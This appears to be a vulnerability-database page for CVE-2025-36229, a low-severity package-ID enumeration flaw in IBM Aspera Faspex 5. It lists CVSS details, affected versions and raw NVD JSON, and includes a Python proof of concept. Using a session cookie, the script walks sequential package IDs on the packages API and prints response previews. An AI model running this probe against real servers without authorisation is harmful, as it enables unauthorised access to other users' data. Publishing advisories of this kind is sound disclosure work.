Security Vulnerability Report
中文
CVE-2025-36229 CVSS 3.1 LOW

CVE-2025-36229

Published: 2025-12-26 15:15:47
Last Modified: 2025-12-29 18:10:46

Description

IBM Aspera Faspex 5 5.0.0 through 5.0.14.1 could allow authenticated users to enumerate sensitive information of data due by enumerating package identifiers.

CVSS Details

CVSS Score
3.1
Severity
LOW
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:ibm:aspera_faspex:*:*:*:*:*:*:*:* - VULNERABLE
IBM Aspera Faspex 5 5.0.0
IBM Aspera Faspex 5 5.0.1
IBM Aspera Faspex 5 5.0.2
IBM Aspera Faspex 5 5.0.3
IBM Aspera Faspex 5 5.0.4
IBM Aspera Faspex 5 5.0.5
IBM Aspera Faspex 5 5.0.6
IBM Aspera Faspex 5 5.0.7
IBM Aspera Faspex 5 5.0.8
IBM Aspera Faspex 5 5.0.9
IBM Aspera Faspex 5 5.0.10
IBM Aspera Faspex 5 5.0.11
IBM Aspera Faspex 5 5.0.12
IBM Aspera Faspex 5 5.0.13
IBM Aspera Faspex 5 5.0.14.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-36229 PoC - IBM Aspera Faspex Package ID Enumeration # Target: IBM Aspera Faspex 5.0.0 - 5.0.14.1 def test_package_enumeration(target_url, session_cookie): """ Test for CVE-2025-36229: Package ID enumeration vulnerability Authenticated users can enumerate package identifiers to access sensitive data """ headers = { 'Cookie': f'JSESSIONID={session_cookie}', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' } # Test with sequential package IDs for package_id in range(1, 100): url = f"{target_url}/api/v1/packages/{package_id}" try: response = requests.get(url, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] VULNERABLE: Package ID {package_id} accessible") print(f"Response preview: {response.text[:200]}...") return True elif response.status_code == 403 or response.status_code == 404: print(f"[-] Package ID {package_id}: Access denied (ID does not exist or no permission)") else: print(f"[*] Package ID {package_id}: Status {response.status_code}") except requests.RequestException as e: print(f"[!] Request error: {e}") return False if __name__ == '__main__': if len(sys.argv) < 3: print("Usage: python cve_2025_36229_poc.py <target_url> <session_cookie>") print("Example: python cve_2025_36229_poc.py https://faspex.example.com abc123...") sys.exit(1) target = sys.argv[1] cookie = sys.argv[2] print(f"[*] Testing CVE-2025-36229 on {target}") print(f"[*] This vulnerability allows authenticated users to enumerate package IDs") vulnerable = test_package_enumeration(target, cookie) if vulnerable: print("\n[!] Target is VULNERABLE to CVE-2025-36229") print("[!] Authenticated users can enumerate package identifiers to access sensitive data") else: print("\n[+] Target appears to be PATCHED or test conditions not met")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-36229", "sourceIdentifier": "[email protected]", "published": "2025-12-26T15:15:46.697", "lastModified": "2025-12-29T18:10:45.550", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "IBM Aspera Faspex 5 5.0.0 through 5.0.14.1 could allow authenticated users to enumerate sensitive information of data due by enumerating package identifiers."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 3.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-497"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ibm:aspera_faspex:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.0.0", "versionEndExcluding": "5.0.14.2", "matchCriteriaId": "FC9C79B9-3E8B-472C-8399-9A8788B0E368"}]}]}], "references": [{"url": "https://www.ibm.com/support/pages/node/7255331", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}